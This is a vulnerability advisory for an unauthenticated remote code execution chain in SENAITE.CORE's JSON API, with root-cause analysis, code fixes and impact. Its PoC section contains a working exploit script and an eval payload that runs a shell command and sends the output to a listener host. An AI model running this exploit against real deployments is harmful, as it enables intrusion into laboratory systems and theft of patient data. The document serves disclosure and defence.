CVE-2026-54569: SENAITE.CORE: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') and Missing Authorization in senaite.core
Summary
An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.
This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.
Details
The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.
1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:
python if not getSecurityManager().checkPermission(AccessJSONAPI, parent): raise Unauthorized(...)
The check is present on create and absent on update, updatemany, remove, doActionFor, doActionFormany, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.
When an objuid is supplied, the route resolves the target through uidcatalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bikasetup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).
2. eval() on RecordsField / RecordField values inside setfieldsfromrequest (CWE-95). Once an object has been resolved, setfieldsfromrequest in jsonapi/init.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its writepermission check execute:
python elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = eval(value) except Exception: logger.warning( "JSONAPI: " + fieldname + ": Invalid " "JSON/Python variable") return []
The eval runs in the Zope worker process with full Python builtins available, so a payload such as import('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.
The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.
Anonymous UID discovery. The bikasetup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:
GET /senaite/bikasetup/@@uuid HTTP/1.1 HTTP/1.1 200 OK Content-Type: text/plain
8dbc161fa9f74aa4ad6e76eb1934518a
Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.
Suggested fixes
Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.
python src/bika/lims/jsonapi/update.py from AccessControl import getSecurityManager from zExceptions import Unauthorized from senaite.core.permissions import AccessJSONAPI
def update(self, context, request): if not getSecurityManager().checkPermission(AccessJSONAPI, context): raise Unauthorized("You don't have permission to update via JSONAPI") savepoint = transaction.savepoint() ...
Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:
python src/bika/lims/jsonapi/init.py import json
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField', 'senaite.core.browser.fields.record.RecordField']: try: value = json.loads(value) except (ValueError, TypeError): logger.warning("JSONAPI: %s: invalid JSON value", fieldname) return []
Apply the same change at record.py:253-262 and records.py:135-143.
Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/init.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.
PoC
Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.
docker-compose.yml
yaml services: senaite: image: senaite/senaite:v2.6.0 ports: - "8080:8080" environment: PASSWORD: senaitestrong # non-default; chain is credential-free SITE: senaite networks: - poc
listener: image: python:3.11-alpine command: - python - -c - | import http.server, socketserver log = [] class H(http.server.BaseHTTPRequestHandler): def doGET(self): if self.path.startswith('/log'): self.sendresponse(200); self.sendheader('Content-Type', 'text/plain'); self.endheaders() self.wfile.write(('\n'.join(log)).encode()) else: log.append(self.path) self.sendresponse(200); self.endheaders(); self.wfile.write(b'ok') def logmessage(self, a, k): pass socketserver.TCPServer.allowreuseaddress = True with socketserver.TCPServer(('', 8000), H) as s: s.serveforever() ports: - "8000:8000" networks: - poc
networks: poc:
poc.py
python #!/usr/bin/env python3 """PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0""" import sys, time, urllib.error, urllib.parse, urllib.request
TARGET = "http://localhost:8080" SITE = "senaite" LISTENERHOST = "http://localhost:8000" LISTENERINSIDE = "http://listener:8000"
PAYLOAD = ( "import('urllib2').urlopen(" f"'{LISTENERINSIDE}/?id=' + " "import('os').popen('id').read().replace(' ', '').replace('\\n', '')" ")" )
def httpget(url, timeout=5): req = urllib.request.Request(url, headers={"Accept": "/"}) return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def httppost(url, fields, timeout=10): body = urllib.parse.urlencode(fields).encode() req = urllib.request.Request(url, data=body, method="POST") return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def waitfortarget(): deadline = time.time() + 600 while time.time() < deadline: try: with urllib.request.urlopen(f"{TARGET}/{SITE}/loginform", timeout=3) as r: if r.status == 200: return except Exception: pass time.sleep(3) sys.exit(1)
def discoverbikasetupuid(): body = httpget(f"{TARGET}/{SITE}/bikasetup/@@uuid", timeout=5).strip() if len(body) == 32 and all(c in "0123456789abcdef" for c in body): return body sys.exit(1)
def firepayload(uid): try: httppost(f"{TARGET}/{SITE}/@@API/update", {"objuid": uid, "RejectionReasons": PAYLOAD}) except urllib.error.HTTPError: pass
def readlistener(): time.sleep(1) try: log = httpget(f"{LISTENERHOST}/log", timeout=3) except Exception: return False return "id=" in log
if name == "main": waitfortarget() uid = discoverbikasetupuid() firepayload(uid) sys.exit(0 if readlistener() else 1)
Run
docker compose up -d wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning python3 poc.py
Expected output
[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0 captured: /?id=uid=500(senaite)gid=500(senaite)groups=500(senaite)
The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.
Impact
Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).
Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.
Attacker capability after exploit: - Arbitrary Python execution in the Zope worker process. - Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds. - Filesystem access on the container's /data volume. - Outbound network egress from the worker. - Direct access to aclusers (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.
Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).
Credits
Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.
- Dr. Simon Weber - Dipl.-Inf. Volker Schönefeld - Chiara Fliegner
Website: https://machinespirits.com
Other sources
SENAITE.CORE is the core framework for the SENAITE laboratory information management system. From 2.0.0 to 2.6.0, the SENAITE.CORE JSON API permits unauthenticated remote code execution through a two-request chain involving missing authorization and unsafe evaluation. The state-changing routes in src/bika/lims/jsonapi/update.py, including update, updatemany, remove, doActionFor, doActionFormany, and getusers, do not enforce the senaite.core: Access JSON API permission before resolving attacker-selected objects. In src/bika/lims/jsonapi/init.py, setfieldsfromrequest passes raw request values for RecordsField and RecordField instances to eval() before field mutator write-permission checks execute. An anonymous attacker can discover the bikasetup object identifier through @@uuid, send a value such as RejectionReasons to /@@API/update, and execute arbitrary Python in the Zope worker before a later mutation failure rolls back ZODB changes. The same unsafe evaluation pattern is present in src/senaite/core/browser/fields/record.py and src/senaite/core/browser/fields/records.py. Successful exploitation can expose or modify laboratory data, files, and accounts and can disrupt the service.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Add/enforce the `senaite.core: Access JSON API` permission gate at the start of every state-changing route in `src/bika/lims/jsonapi/` (specifically noted as missing on `src/bika/lims/jsonapi/update.py:45-165`, while `create.py` already has the check).
senaite.core JSON API (bika/lims/jsonapi/update.py routes: update, update_many, remove, doActionFor, doActionFor_many, getusers) senaite.core: Access JSON API permission check = enforce - Configuration
In `src/bika/lims/jsonapi/__init__.py` `set_fields_from_request`, replace the `eval(value)` call used for `RecordsField`/`RecordField` request values with `json.loads()` (material explicitly states Fix 2: replace `eval()` with `json.loads()`).
senaite.core JSON API field handling (set_fields_from_request in src/bika/lims/jsonapi/__init__.py) eval(value) usage for RecordField/RecordsField = replace eval with json.loads - Configuration
Apply the same `eval()` to `json.loads()` replacement pattern in `record.py:253-262` and `records.py:135-143`, where the unsafe evaluation of `RecordField`/`RecordsField` values is also present in SENAITE.CORE 2.x.
senaite.core browser fields (src/senaite/core/browser/fields/record.py and src/senaite/core/browser/fields/records.py) eval(value) in field setters = replace eval with json.loads - Compensating control
Re-enable Plone CSRF protection by removing/disabling `class ISenaiteCore(IDisableCSRFProtection)` (defined in `src/senaite/core/interfaces/__init__.py:30` in the audited release) so that `plone.protect` automatic CSRF write-detection is no longer disabled for requests handled by the SENAITE browser layer.
Event History
Frequently Asked Questions
Why is it necessary to address both flaws rather than only restricting anonymous access to the update route?
Restricting anonymous access breaks the two-request unauthenticated attack chain, but the eval sink remains reachable by authenticated users who have write access to a RecordsField. Both the missing JSON API permission gate and the eval issue need to be fixed to eliminate the described exposure.